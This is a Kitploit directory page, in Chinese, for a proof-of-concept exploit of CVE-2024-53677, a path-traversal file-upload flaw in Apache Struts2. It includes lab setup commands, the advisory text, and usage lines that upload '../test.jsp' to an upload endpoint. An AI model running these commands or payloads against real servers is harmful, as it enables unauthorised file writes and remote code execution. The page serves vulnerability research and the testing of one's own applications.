Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-53677 — Apache Struts2 漏洞利用中的文件上传逻辑缺陷 | Kitploit
工具/GitHubGitHub/eqstlab/cve-2024-53677
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubeqstlab/cve-2024-53677

CVE-2024-53677

Apache Struts2 漏洞利用中的文件上传逻辑缺陷

查看仓库
1721年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

本文是由 EQSTLab 发布的研究文章。

CVE-2024-53677

★ CVE-2024-53677 危险类型文件的不受限制上传与 RCE PoC ★

实验环境搭建

root@kitploit:~
cd docker
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677

时间线

12月11日:CVE-2024-53677 文件上传 PoC 已上传

描述

CVE-2024-53677:Apache Struts 的文件上传逻辑存在缺陷。攻击者可以操纵文件上传参数来实现路径遍历,在某些情况下,这可能导致上传恶意文件,进而可用于执行远程代码。此问题影响 Apache Struts:从 2.0.0 到 6.4.0 之前的所有版本。建议用户至少升级到 6.4.0 版本,并迁移到新的文件上传机制 https://struts.apache.org/core-developers/file-upload 。如果您没有使用基于 FileuploadInterceptor 的旧文件上传逻辑,您的应用程序是安全的。您可以在 https://cwiki.apache.org/confluence/display/WW/S2-067 中找到更多详细信息。

使用方法

克隆仓库

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-53677.git
cd CVE-2024-53677

安装依赖包

root@kitploit:~
pip install -r requirements.txt

命令

root@kitploit:~
# Upload the default file
python CVE-2024-53677.py -u <URL> -p <top.UploadFileName>
# Upload Specified File
python CVE-2024-53677.py -u <URL> -p <top.UploadFileName> -f <File Path>

示例

root@kitploit:~
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp -f ./test.txt

输出

CVE-2024-53677.py

结果

免责声明

本仓库并非针对 CVE-2024-53677 的对象注入漏洞利用程序。该项目的目的是帮助人们了解此漏洞,并或许测试他们自己的应用程序。

EQST 洞察

我们每月发布一次 CVE 和恶意软件分析。如果您感兴趣,请通过以下链接查看我们的出版物。 https://www.skshieldus.com/eng/business/insight.do

参考

https://nvd.nist.gov/vuln/detail/CVE-2024-53677

https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/

https://attackerkb.com/topics/YfjepZ70DS/cve-2024-53677

https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker

下载工具